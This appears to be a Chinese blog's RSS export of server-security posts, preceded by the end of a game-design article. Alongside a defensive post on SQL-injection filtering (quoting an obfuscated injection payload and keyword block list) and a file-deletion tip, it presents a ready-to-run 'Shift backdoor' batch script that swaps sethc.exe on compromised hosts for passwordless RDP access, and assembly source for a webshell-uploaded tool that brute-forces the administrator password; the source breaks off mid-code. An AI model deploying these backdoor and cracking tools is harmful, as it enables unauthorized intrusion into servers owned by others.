<p>事实证明，这种额外简化设置确实有助于创造吉他和鼓模式之间的独特玩法，吉他的挑战难点在于控制复杂度渐进的和弦过渡，而鼓的挑战难点则在于通过更多输入实现单音符的快速衔接。</p>
<p>界面会对上游层次的机制产生影响只有玩家本能地知道如何与机制互动的时候，这种设计才能生效，所以我们必须针对界面调整游戏机制。所有关于界面设计的文献得出的最终结论都是：界面设计的目标是尽可能展现一目了然的用户界面。</p>
<p><strong> 结论</strong></p>
<p>此时你可能觉得现在已产生的问题比解决掉的问题还多。例如，如何平衡全新的概念和熟悉的概念？范式的定义应如何进一步精细化？如何组织游戏内容，才能使上层的范式和下层的机制对其产生定义作用？如何优先考虑界面的要求？</p>
<p>用四层次法界定游戏的好处在于它可以展示设计的结构，同时指出了一些更深层次而有待解决的问题。</p>
<p>事实上每一层次还各有深度：</p>
<ul>
<li>理念借助市场营销的威力</li>
<li>范式需要心理学上的分析</li>
<li>机制是纯游戏设计的结构单元</li>
<li>用户界面是实用性专家的关注焦点</li>
</ul>
<p>在一个小型手机游戏项目中，以上所述的任务很可能是设计师一个人的职责，但这也算是一种优势。当所有游戏设计的层次都为一人所掌握，那么这个人就应做出最明智、最有效的决策。如果整个团队都能理解游戏的整体状况，那么整个团队都能做出明智的决定。</p>
<p>本文的目的不在于解释如何设计游戏，而只是提供游戏设计的思路。解决了这四个层次的问题也还只是设计游戏的开端，但至少可以指引你朝着正确的方向前进，而不至于迷失方向。</p>
<p>&nbsp;</p>
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		<title>ASP防注入新方式，希望对大家是有用的</title>
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		<pubDate>Wed, 28 Jul 2010 02:00:27 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
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		<category><![CDATA[防注入]]></category>

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		<description><![CDATA[<a href="http://www.5bay.cn/server-building/aspeaojie.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>最近我的网站经常把js脚本注入到数据，清除了又来。先后在网上找了很多的方法，还是没有用的，十分恼火。 首先先告诉大家一个批量清除代码的sql语句。 update 表名 set 字段=replace(字段,&#8217;script src=http://3b3.org/c.js&#62; 1、分析那些无聊的人，或者有些病态的人究竟做了些什么 。 通过iis的日志或者microsoft urlscan 日志查看，在一些通过id查询数据库内容的时候后面被人加了一段很长的字符窜。 %%3B%%44%%65%%43%%4C%%61%%52%%45%%类似这样的字符窜，一定是其他的方式编码 首先我们先用工具分析下如此之长的字符窜究竟包含了些什么内容。 通过批量替换工具把%%全部替换成空，然后把得到的字符串通过其他的转码工具，转成字符窜。 ;DeCLaRE @S NvArCHaR(4000);SeT @S=CaSt(0&#215;45这里代码去掉了06F007200 aS NvArChAR(4000));ExEc(@S);&#8211; 就是一段与通过id查询数据库同时执行的sql，就给数据库某些表的字段加入了js病毒连接。 2、所以我们的原来的防sql注入的字符串就需要升级了。 如果过滤16进制 ; 对应 3B DeCLaRE 对应 4465434C615245 @ 对应 40 NvArCHaR 对应 4E76417243486152 set 对应 536554 CaSt 对应 43615374 as 对应 6153 exec 对应 45784563 - 对应 2D 把16进制的代码用&#124;隔开放到injdata 里面 injdata = [...]]]></description>
			<content:encoded><![CDATA[<p>最近我的网站经常把js脚本注入到数据，清除了又来。先后在网上找了很多的方法，还是没有用的，十分恼火。</p>
<p>首先先告诉大家一个批量清除代码的sql语句。</p>
<p>update 表名 set 字段=replace(字段,&#8217;script src=http://3b3.org/c.<a href="http://www.5bay.cn/tag/js" class="st_tag internal_tag" rel="tag" title="标签 js 下的日志">js</a>&gt;<br />
1、分析那些无聊的人，或者有些病态的人究竟做了些什么 。</p>
<p>通过iis的日志或者microsoft urlscan 日志查看，在一些通过id查询数据库内容的时候后面被人加了一段很长的字符窜。</p>
<p>%%3B%%44%%65%%43%%4C%%61%%52%%45%%类似这样的字符窜，一定是其他的方式编码</p>
<p>首先我们先用工具分析下如此之长的字符窜究竟包含了些什么内容。</p>
<p>通过批量替换工具把%%全部替换成空，然后把得到的字符串通过其他的转码工具，转成字符窜。</p>
<p>;DeCLaRE @S NvArCHaR(4000);SeT @S=CaSt(0&#215;45这里代码去掉了06F007200 aS NvArChAR(4000));ExEc(@S);&#8211;</p>
<p>就是一段与通过id查询数据库同时执行的sql，就给数据库某些表的字段加入了js病毒连接。</p>
<p>2、所以我们的原来的防sql注入的字符串就需要升级了。</p>
<p>如果过滤16进制</p>
<p>; 对应 3B</p>
<p>DeCLaRE 对应 4465434C615245</p>
<p>@ 对应 40</p>
<p>NvArCHaR 对应 4E76417243486152</p>
<p>set 对应 536554</p>
<p>CaSt 对应 43615374</p>
<p>as 对应 6153</p>
<p>exec 对应 45784563</p>
<p>- 对应 2D</p>
<p>把16进制的代码用|隔开放到injdata 里面</p>
<p>injdata = “3B|2D|&#8217;|;|and|exec|insert|select|delete%20from|update|count|”</p>
<p>然后自己测试下，程序是否拦击了这些16进制的代码，本人测试过是可以拦击的，如果不加入这些是不拦击的</p>
<p>照样可以注入到数据库。</p>
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		<title>如何删除删不掉的”PRN.asp:.jpg”</title>
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		<pubDate>Wed, 28 Jul 2010 01:59:36 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
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		<description><![CDATA[<a href="http://www.5bay.cn/server-building/eeprn-asp-jpg.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>一个用户的网站被挂马 很多以prn.开头的文件&#8230;这个文件其实是windows禁止建立的..但是可以在dos建立 所以在dos下用更改属性 结果不让改 然后想恢复权限 不让恢复 ，网站的跟目录被加了几个文件，怎么删也删不掉， prn.gupiao.asp prn.liuhe.asp com1.shouji.asp 或是COM2，COM8等文件主，   第一步：打开工具&#62;文件夹选项&#62;查看&#62;有一项为”隐藏受保护的操作系统文件(推荐)”,去掉其前边的钩,选中”显示所有文件和文件夹” 第二步：建立一个del.bat的文件 把以下代码黏贴进去&#8230; DEL /F /A /Q \\?\%1 RD /S /Q \\?\%1 然后要删那个文件就把那个文件拖进去即可&#8230;. 但是又遇到问题了&#8230;有一个顽固的&#8230;PRN.asp;.jpg 拖进去也删不掉&#8230;. 不过没问题 这个也可以删&#8230;先把这个文件的文件夹里的其他的文件备份&#8230; 然后把文件夹拖过去&#8230;^_^ 删了吧&#8230; 然后把备份的文件 拷回去 ok了 相关博文2010年05月23日 -- Rsync详解 (0)2010年07月28日 -- ASP防注入新方式，希望对大家是有用的 (0)2010年05月23日 -- mysql优化及全文搜索 (0)2011年06月29日 -- Android在线开发工具 App Inventor (0)2011年06月29日 -- 开源软件的盈利模式 (0)2011年06月29日 -- 资深设计师Tony Ventrice解析手机游戏开发的四个层次 (0)2010年07月26日 [...]]]></description>
			<content:encoded><![CDATA[<p>一个用户的网站被挂马 很多以prn.开头的文件&#8230;这个文件其实是windows禁止建立的..但是可以在dos建立</p>
<p>所以在dos下用更改属性 结果不让改</p>
<p>然后想恢复权限 不让恢复 ，网站的跟目录被加了几个文件，怎么删也删不掉，</p>
<p>prn.gupiao.<a href="http://www.5bay.cn/tag/asp" class="st_tag internal_tag" rel="tag" title="标签 ASP 下的日志">asp</a></p>
<p>prn.liuhe.asp</p>
<p>com1.shouji.asp</p>
<p>或是COM2，COM8等文件主，  </p>
<p>第一步：打开工具&gt;文件夹选项&gt;查看&gt;有一项为”隐藏受保护的操作系统文件(推荐)”,去掉其前边的钩,选中”显示所有文件和文件夹”</p>
<p>第二步：建立一个del.bat的文件 把以下代码黏贴进去&#8230;</p>
<p>DEL /F /A /Q \\?\%1</p>
<p>RD /S /Q \\?\%1<br />
然后要删那个文件就把那个文件拖进去即可&#8230;.</p>
<p>但是又遇到问题了&#8230;有一个顽固的&#8230;PRN.asp;.jpg 拖进去也删不掉&#8230;.</p>
<p>不过没问题 这个也可以删&#8230;先把这个文件的文件夹里的其他的文件备份&#8230;</p>
<p>然后把文件夹拖过去&#8230;^_^ 删了吧&#8230;</p>
<p>然后把备份的文件 拷回去 ok了</p>
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		<title>无需输入密码登陆3389</title>
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		<comments>http://www.5bay.cn/server-building/eeeeee389.html#comments</comments>
		<pubDate>Wed, 28 Jul 2010 01:32:45 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[cache]]></category>
		<category><![CDATA[title]]></category>
		<category><![CDATA[人]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[密码]]></category>
		<category><![CDATA[感谢]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[系统]]></category>
		<category><![CDATA[连接]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=518</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/eeeeee389.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>来源：脚本安全小组 在肉鸡上执行命令 copy c:\windows\explorer.exe c:\windows\system32\sethc.exe copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe 以后再连接肉鸡3389，敲5下shift键就可以直接进入了，无需输入密码，只是登陆上去没有任务栏，一直会有密码登陆框，不过够我们做很多事情了,目前win2003测试通过。 似乎2000也可以，XP不行。这两个系统没测试。 不知道有牛人知道是什么道理不. 小道消息：连敲5次shift就自动激活连滞键设置~~也就是自动执行sethc.exe ，你把explorer.exe换成sethc.exe 就是自动执行explorer.exe Shift后门TT整理版 来源：TT&#8217;s Blog 将下面的代码保存为tt.bat 然后到主机上运行~后门的启动了~ 然后连接对方3389然后连续按5次Shift就能进入盘里了 然后进入c:\windows\system32\cmd.exe 或者建个bat内容为 call cmd.xe 就是系统权限了~管理员把你先的用户删了也不怕~ 哇哈哈哈哈~~~ TITLE Shift后门 @echo off cls echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo. echo. echo 使用方法:本文件执行完毕后, echo 在终端界面按Shift 5次即可登陆系统! echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo. copy c:\windows\explorer.exe c:\windows\system32\sethc.exe echo 完成百分之 50 copy c:\windows\system32\sethc.exe [...]]]></description>
			<content:encoded><![CDATA[<p>来源：脚本安全小组</p>
<p>在肉鸡上执行命令</p>
<p>copy c:\windows\explorer.exe c:\windows\system32\sethc.exe</p>
<p>copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe</p>
<p>以后再连接肉鸡3389，敲5下shift键就可以直接进入了，无需输入密码，只是登陆上去没有任务栏，一直会有密码登陆框，不过够我们做很多事情了,目前win2003测试通过。</p>
<p>似乎2000也可以，XP不行。这两个系统没测试。</p>
<p>不知道有牛人知道是什么道理不.</p>
<p>小道消息：连敲5次shift就自动激活连滞键设置~~也就是自动执行sethc.exe ，你把explorer.exe换成sethc.exe 就是自动执行explorer.exe</p>
<p>Shift后门TT整理版<br />
来源：TT&#8217;s Blog</p>
<p>将下面的代码保存为tt.bat 然后到主机上运行~后门的启动了~</p>
<p>然后连接对方3389然后连续按5次Shift就能进入盘里了 然后进入c:\windows\system32\cmd.exe</p>
<p>或者建个bat内容为 call cmd.xe 就是系统权限了~管理员把你先的用户删了也不怕~</p>
<p>哇哈哈哈哈~~~<br />
<a href="http://www.5bay.cn/tag/title" class="st_tag internal_tag" rel="tag" title="标签 title 下的日志">TITLE</a> Shift后门<br />
@echo off<br />
cls<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo.<br />
echo.<br />
echo 使用方法:本文件执行完毕后,<br />
echo 在终端界面按Shift 5次即可登陆系统!<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo.<br />
copy c:\windows\explorer.exe c:\windows\system32\sethc.exe<br />
echo 完成百分之 50<br />
copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe<br />
echo 完成百分之 80<br />
attrib c:\windows\system32\sethc.exe +h<br />
echo 完成百分之 90<br />
attrib c:\windows\system32\dllcache\sethc.exe +h<br />
echo 完成百分之 100<br />
cls<br />
echo.<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo 后门安装完毕！<br />
echo.<br />
echo 感谢您使用Shift后门<br />
echo.<br />
echo.<br />
echo.<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo.<br />
echo. &amp; pause<br />
exit</p>
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]]></content:encoded>
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		<title>Webshell下破解计算机管理员密码</title>
		<link>http://www.5bay.cn/server-building/webshelleechueeee.html</link>
		<comments>http://www.5bay.cn/server-building/webshelleechueeee.html#comments</comments>
		<pubDate>Wed, 28 Jul 2010 01:30:06 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[2008]]></category>
		<category><![CDATA[code]]></category>
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		<category><![CDATA[软件]]></category>
		<category><![CDATA[链接]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=515</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/webshelleechueeee.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>软件作者：taiwansee 信息来源：邪恶八进制信息安全团队（www.eviloctal.com） 这个idea源自以前学runas命令时候的启发。 使用方法：     1、把你的密码字典改名成psw.txt后，上传到目标服务器的一个可执行、可写的目录中。这里假设这个目录是：c:\windows\temp\     2、把程序上传到c:\windows\temp\中，然后运行它。     3、然后就是等待，过几分钟（具体时间看你的字典大小了）查阅c:\windows\temp\下的result_.txt中的结果，        如果为空就说明还没破解完，另选时间再回来看。 特点：     不需要抓hash，不需要管理员权限，ISUR_*用户就能用，速度慢（这个也是特点哦）在测试机中的表现是每秒尝试1800个密码左右。     默认破解administrator用户的密码。要破其它，请自行修改代码。 result_.txt示例： －－－－－－－－－－－－－－－－－－－－－－－－－－－－－ The administrator&#8217;s password is: tester The program had tried 32653 times! Use time:0 hour(s) 0 minute(s) 17.109 second(s),average speed: 1908 times/s. －－－－－－－－－－－－－－－－－－－－－－－－－－－－－ 源代码如下： AdminPassCrack.asm文件 复制内容到剪贴板代码: ;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62; ;                AdminPassCracker ; ;                                By taiwansee        2008.10.23 ; ; 使用 nmake 或下列命令进行编译和链接: ; ml /c /coff AdminPassCracker.asm ; [...]]]></description>
			<content:encoded><![CDATA[<p>软件作者：taiwansee<br />
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）</p>
<p>这个idea源自以前学runas命令时候的启发。</p>
<p>使用方法：<br />
    1、把你的密码字典改名成psw.txt后，上传到目标服务器的一个可执行、可写的目录中。这里假设这个目录是：c:\windows\temp\<br />
    2、把程序上传到c:\windows\temp\中，然后运行它。<br />
    3、然后就是等待，过几分钟（具体时间看你的字典大小了）查阅c:\windows\temp\下的result_.txt中的结果，<br />
       如果为空就说明还没破解完，另选时间再回来看。</p>
<p>特点：<br />
    不需要抓hash，不需要管理员权限，ISUR_*用户就能用，速度慢（这个也是特点哦）在测试机中的表现是每秒尝试1800个密码左右。<br />
    默认破解administrator用户的密码。要破其它，请自行修改代码。<br />
<span id="more-515"></span><br />
result_.txt示例：<br />
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－<br />
The administrator&#8217;s password is: tester<br />
The program had tried 32653 times! <img src='http://www.5bay.cn/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
Use time:0 hour(s) 0 minute(s) 17.109 second(s),average speed: 1908 times/s.<br />
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－<br />
源代码如下：<br />
AdminPassCrack.asm文件<br />
复制内容到剪贴板代码:<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
;                AdminPassCracker<br />
;<br />
;                                By taiwansee        2008.10.23<br />
;<br />
; 使用 nmake 或下列命令进行编译和链接:<br />
; ml /c /coff AdminPassCracker.asm<br />
; Link /subsystem:windows AdminPassCracker.obj<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
                .386<br />
                .model flat, stdcall<br />
                option casemap :none<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
; Include 文件定义<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
include                windows.inc<br />
include                user32.inc<br />
includelib        user32.lib<br />
include                kernel32.inc<br />
includelib        kernel32.lib<br />
include                Advapi32.inc<br />
includelib        Advapi32.lib<br />
include                _TotalTime.asm<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
; 数据段<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
                .const<br />
DEBUG                                equ        0</p>
<p>LOGON32_LOGON_NETWORK                equ     3<br />
LOGON32_PROVIDER_DEFAULT        equ        0</p>
<p>;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
; 数据段<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
align 4<br />
                .data?<br />
hModuleHandle                DWORD        ?<br />
szFileName                BYTE        MAX_<a href="http://www.5bay.cn/tag/path" class="st_tag internal_tag" rel="tag" title="标签 path 下的日志">PATH</a> dup(?)</p>
<p>                .data</p>
<p>szResultFile        BYTE        &#8217;result_.txt&#8217;,0<br />
szPswDic        BYTE        &#8217;psw.txt&#8217;,0<br />
szDomain        BYTE        &#8217;.',0<br />
szUserName        BYTE        &#8217;administrator&#8217;,0</p>
<p>szResultFileFormat        BYTE        &#8217;The administrator&#8217;,27h,&#8217;s password is: %s&#8217;,0dh,0ah<br />
                        BYTE        &#8217;The program had tried %d times! <img src='http://www.5bay.cn/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> &#8217;,0dh,0ah,0</p>
<p>szNoDicFileErr                BYTE        &#8217;Sorry,dic file not exists.&#8217;,0<br />
szCreateFileMappingErr        BYTE        &#8217;CreateFileMapping Error!&#8217;,0<br />
szMapViewOfFileErr        BYTE        &#8217;MapViewOfFile Error!&#8217;,0<br />
szNotFound                BYTE        &#8217;Password not found! <img src='http://www.5bay.cn/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> &#8216;,0dh,0ah,0</p>
<p>;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
; 代码段<br />
;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;<br />
                .<a href="http://www.5bay.cn/tag/code" class="st_tag internal_tag" rel="tag" title="标签 code 下的日志">code</a><br />
align 4</p>
<p>_WinMain        proc<br />
        local        @hPswDic:DWORD,\<br />
                @szPswTmp[MAX_PATH]:BYTE,\<br />
                @dwPswDicFileSize:DWORD,\<br />
                @hResultFile:DWORD,\<br />
                @dwWritten:DWORD,\<br />
                @hPswDicFileMap:DWORD,\<br />
                @hToken:DWORD,\<br />
                @dwTriedTimes:DWORD,\<br />
                @szBuf[MAX_PATH]:BYTE,\<br />
                @dwContentLength:DWORD,\<br />
                @lpPswDic:DWORD,\<br />
                @lpNext:DWORD,\<br />
                @lpStart:DWORD,\<br />
                @dwStart:DWORD<br />
        <br />
;Create file to record results.<br />
        invoke        CreateFile,offset szResultFile,GENERIC_READ or GENERIC_WRITE,\<br />
                           FILE_SHARE_READ or FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,\<br />
                           FILE_ATTRIBUTE_NORMAL,NULL<br />
        .if        eax == INVALID_HANDLE_VALUE<br />
                jmp _Error_Exit<br />
        .endif<br />
        mov        @hResultFile,eax<br />
;Open Dictionary file.<br />
        invoke        CreateFile,offset szPswDic,GENERIC_READ,\<br />
                           FILE_SHARE_READ,NULL,OPEN_EXISTING,\<br />
                           FILE_ATTRIBUTE_NORMAL,NULL<br />
        .if        eax == INVALID_HANDLE_VALUE<br />
                invoke        WriteFile,@hResultFile,offset szNoDicFileErr,sizeof szNoDicFileErr,addr @dwWritten,NULL<br />
                jmp _Error_Exit<br />
        .endif<br />
        mov        @hPswDic,eax</p>
<p>        invoke        GetFileSize,@hPswDic,NULL<br />
        mov        @dwPswDicFileSize,eax<br />
;**********CreateFileMapping**********<br />
        invoke        CreateFileMapping,@hPswDic,NULL,PAGE_READONLY,0,0,NULL<br />
        .if        eax==NULL<br />
                invoke        WriteFile,@hResultFile,offset szCreateFileMappingErr,\<br />
                                  sizeof szCreateFileMappingErr,addr @dwWritten,NULL<br />
                jmp _Error_Exit        <br />
        .endif<br />
        mov        @hPswDicFileMap,eax<br />
;**********MapViewOfFile**********<br />
        invoke        MapViewOfFile,eax,FILE_MAP_READ,0,0,0<br />
        .if        eax==NULL<br />
                invoke        WriteFile,@hResultFile,offset szMapViewOfFileErr,\<br />
                                  sizeof szMapViewOfFileErr,addr @dwWritten,NULL<br />
                jmp _Error_Exit<br />
        .endif<br />
        mov        @lpPswDic,eax<br />
        mov        @lpNext,eax<br />
        mov        @lpStart,eax<br />
        <br />
        invoke        GetTickCount                ;计算使用的毫秒数,开始<br />
        mov        @dwStart,eax</p>
<p>        xor        ecx,ecx        ;统计已经分析的字符个数<br />
        xor        eax,eax<br />
        mov        @dwTriedTimes,eax        ;统计尝试的次数</p>
<p>        .while        TRUE<br />
                cld<br />
                mov        esi,@lpStart<br />
                lea        edi,@szPswTmp<br />
        @@:<br />
                lodsb<br />
                .if        al!=0dh<br />
                        stosb<br />
                        inc        ecx<br />
                        .if        ecx==@dwPswDicFileSize<br />
                                jmp        @F<br />
                        .elseif        ecx&gt;@dwPswDicFileSize<br />
                                jmp        _NotFound<br />
                        .endif<br />
                        jmp        @B<br />
                .endif<br />
        @@:<br />
                add        ecx,2<br />
                xor        eax,eax<br />
                stosw                        ;用0结尾<br />
        <br />
                lea        eax,[esi+1]<br />
                mov        @lpNext,eax        ;修正到下一个密码</p>
<p>                push        ecx        ;保存计数值<br />
                invoke        LogonUser,offset szUserName,offset szDomain,addr @szPswTmp,\<br />
                                  LOGON32_LOGON_NETWORK,\<br />
                                  LOGON32_PROVIDER_DEFAULT,\<br />
                                  addr @hToken<br />
                .if        eax==NULL<br />
                        pop        ecx        ;恢复计数值</p>
<p>                        push        @lpNext<br />
                        pop        @lpStart<br />
                        <br />
                        inc        @dwTriedTimes<br />
                        .continue<br />
                .else<br />
                        pop        ecx        ;堆栈平衡<br />
                        .break<br />
                .endif<br />
        .endw</p>
<p>        invoke        GetTickCount                ;计算使用的毫秒数,结束<br />
        sub        eax,@dwStart<br />
        mov        @dwStart,eax</p>
<p>        invoke        wsprintf,addr @szBuf,offset szResultFileFormat,addr @szPswTmp,@dwTriedTimes<br />
        invoke        lstrlen,addr @szBuf<br />
        mov        @dwContentLength,eax</p>
<p>        invoke        WriteFile,@hResultFile,addr @szBuf,\<br />
                          @dwContentLength,addr @dwWritten,NULL<br />
        <br />
        invoke        _TotalTime,addr @szBuf,@dwStart,@dwTriedTimes,NULL<br />
        invoke        lstrlen,addr @szBuf<br />
        mov        @dwContentLength,eax</p>
<p>        invoke        WriteFile,@hResultFile,addr @szBuf,\<br />
                          @dwContentLength,addr @dwWritten,NULL<br />
        </p>
<p>        xor        eax,eax<br />
        inc        eax<br />
        ret</p>
<p>_NotFound:<br />
        invoke        GetTickCount                ;计算使用的毫秒数,开始<br />
        sub        eax,@dwStart<br />
        mov        @dwStart,eax</p>
<p>        invoke        lstrcpy,addr @szBuf,offset szNotFound<br />
        invoke        _TotalTime,addr @szPswTmp,@dwStart,@dwTriedTimes,NULL<br />
        invoke        lstrcat,addr @szBuf,addr @szPswTmp</p>
